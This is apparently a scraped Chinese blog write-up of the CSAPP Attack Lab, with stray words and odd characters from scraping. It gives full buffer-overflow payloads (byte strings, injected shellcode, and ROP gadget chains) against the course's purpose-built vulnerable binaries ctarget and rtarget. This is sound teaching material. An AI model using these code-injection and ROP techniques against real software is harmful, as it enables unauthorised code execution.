缓冲区溢出攻击也是第三章的配套实验,实验提供了两个有缓冲区溢出漏洞的x86-64程序(CSAPP 3e: Attack Lab),要求咱们设计“恶意输入”,利用程序漏洞,实现指令注入,执行未受权代码。两个漏洞程序:ctarget 和 rtarget。ctarget 对运行时栈无保护,既没有栈地址随机化,也容许执行栈上的指令,十分容易攻击。rtarget 则开启了栈地址随机化,且不容许执行栈上的指令,所以没法利用指令注入,对它的攻击被称为return-oriented programming (ROP),要利用到程序中原有的一些特殊的字节序列:gadget。python
程序用运行时栈(runtime stack)实现C语言中“函数”的概念。调用一个函数所需的栈空间被称为栈帧,按地址从大往小,从栈底往栈顶看,一个栈帧中依次保存了寄存器,局部变量,调用其余函数所需的参数,返回地址等,以下图所示(《CSAPP》图3-25)。函数执行完跳转回调用方,须要执行ret
指令,ret
可分为两步:一是从栈中弹出返回地址;二是设置程序计数器(Program Counter)%rip
,将控制流转移到弹出的返回地址。当程序在栈上的缓冲区溢出,返回地址就可能被篡改,使得控制流跳转到未受权的指令。经过设计恶意输入,还可以在栈上注入指令,执行攻击者的非法操做。缓存
objdump -d ctarget > ctarget.d
,导出实验给出的的有缓存区溢出危险的函数以下。能够看到缓冲区大小为0x28,所以设计恶意输入时,要先用40字节写满缓冲区,下文就再也不浪费笔墨写这40字节了。因为缓冲区是从栈顶向栈底写入的,且getbuf
没有保存寄存器,看上面的栈帧结构图就知道,填满缓冲区以后,溢出的部分能够直接覆盖返回地址,这是攻击的基础。cookie
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop
实验提供了详细的说明,见attacklab.pdf。ctarget和rtarget包含了3个相同的目标函数:touch1
,touch2
和touch3
。实验要求设计恶意输入,在栈上修改getbuf
的返回地址并设计参数,调用这3个目标函数(rtarget不须要调用touch1
),cookie
是实验提供的一个标识值,0x59b997fa。app
void touch1() { vlevel = 1; /* Part of validation protocol */ printf("Touch1!: You called touch1()\n"); validate(1); exit(0); } void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); } void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }
objdump -d ctarget > ctarget.d
touch1
的入口地址为0x004017c0
phase_1
,检查答案执行./hex2raw < phase_1 | ./ctarget -q
// 栈顶(低地址) // 40 字节,写满缓冲区 c0 17 40 00 00 00 00 00 // 栈顶(高地址)
// 栈顶(低地址) // 40 字节,写满缓冲区 // <-- getbuf 开始执行 ret 时,%rsp 的位置 注入的指令的地址 // <-- getbuf 执行完 ret 时,%rsp 的位置 touch2 的地址 movl $cookie, %edi ret // 栈顶(高地址)
getbuf
的ret
指令设断点,取到%rsp
的值注入的指令的地址
应为 %rsp + 0x10
,为 0x5561dcb0
touch2
地址为0x004017ec
movl $0x59b997fa, %edi
机器码为 bf fa 97 b9 59
,ret
机器码为 c3
// 栈顶(低地址) // 40 字节,写满缓冲区 b0 dc 61 55 00 00 00 00 ec 17 40 00 00 00 00 00 bf fa 97 b9 59 c3 // 栈顶(高地址)
touch3
的参数是字符串,须要在栈上存储字符串// 栈顶(低地址) // 40 字节,写满缓冲区 // <-- getbuf 开始执行 ret 时,%rsp 的位置 注入的指令的地址 // <-- getbuf 执行完 ret 时,%rsp 的位置 touch3 的地址 cookie 字符串 // getbuf 执行完 ret 时,cookie 字符串地址为 %rsp + 0x8 leaq 0x8(%rsp), %rdi ret // 栈顶(高地址)
getbuf
的ret
指令设断点,取到%rsp
的值注入的指令的地址
应为 %rsp + 0x20
,0x20
为两个地址加字符串长度,为0x5561dcc0
touch3
地址为 0x004018fa
python -c "print(' '.join(hex(ord(i))[2:] for i in '59b997fa'))"
leaq 0x8(%rsp), %rdi
机器码48 8d 7c 24 08
,综上,答案:// 栈顶(低地址) // 40 字节,写满缓冲区 c0 dc 61 55 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 // 字符串 00 00 00 00 00 00 00 00 // 字符串结尾,8个字节方便计算 48 8d 7c 24 08 c3 // ret // 栈顶(高地址)
与ctarget相比,对rtarget的攻击存在两个难点:函数
第一点能够经过相对地址,即 %rsp + offset
的方式解决。
第二点则要利用rtarget中原有的特殊字节序列:gadget。上文的实验说明给了一个例子,程序中有这样的一个函数:设计
0000000000400f15 <setval_210>: 400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi) 400f1b: c3 retq
其中48 89 c7
是movq %rax, %rdi
的机器码,后面接着c3
,即retq
。缓冲区溢出,改写getbuf
的返回地址为48 89 c7
的地址(0x400f18),就能执行movq %rax, %rdi
这条指令,接着retq
,使得攻击者能够继续利用上述过程执行攻击指令。以上攻击手段被称为return-oriented programming,48 89 c7 c3
就是一个"gadget"。实验给出了全部可利用的gadget的源码,在farm.c,attacklab.pdf列出了rtarget中全部gadget及对应的指令。code
touch2
,须要传参,能够先把参数写入栈,再利用gadget popq %rdi
popq %rdi
,只有 popq %rax
和movq %rax, %rdi
popq %rax
和movq %rax, %rdi
地址分别为0x004019cc,0x004019a2// 栈顶(低地址) // 40 字节,写满缓冲区 // <-- getbuf 开始执行 ret 时,%rsp 的位置 cc 19 40 00 00 00 00 00 // gadget "popq %rax" 地址 // <-- popq %rax 开始执行时,%rsp 的位置 fa 97 b9 59 00 00 00 00 // cookie // <-- gadget "popq %rax" 开始执行 ret 时,%rsp 的位置 a2 19 40 00 00 00 00 00 // gadget "movq %rax, %rdi" 地址 // <-- gadget "movq %rax, %rdi" 开始执行 ret 时,%rsp 的位置 ec 17 40 00 00 00 00 00 // touch2 地址 // 栈顶(高地址)
touch3
的参数是字符串,这要求咱们在栈上存储字符串,且要取得字符串的地址leaq $offset(%rsp), %rdi
的指令lea (%rdi, %rsi, 1), %rax
$offset
也要放到栈上,再popq %rdi
或popq %rsi
%rsp
不能做为movl
的操做数,movl
会对高位4字节补零touch3
返回地址高,不然会被覆盖$offset
为字符串地址相对于getbuf
开始执行时的栈地址的偏移值,为0x48// 栈顶(低地址) // 40 字节,写满缓冲区 // <-- getbuf 开始执行 ret 时,%rsp 的位置 movq %rsp, %rax // 0x00401a06 movq %rax, %rdi // 0x004019a2 popq %rax // 0x004019ab // <-- "popq %rax" 开始执行时,%rsp 的位置 // $offset movl %eax, %edx // 0x004019dd movl %edx, %ecx // 0x00401a34 movl %ecx, %esi // 0x00401a13 leaq (%rdi, %rsi, 1), %rax // 0x004019d6 movq %rax, %rdi // 0x004019a2 // touch3 地址 0x004018fa // cookie 字符串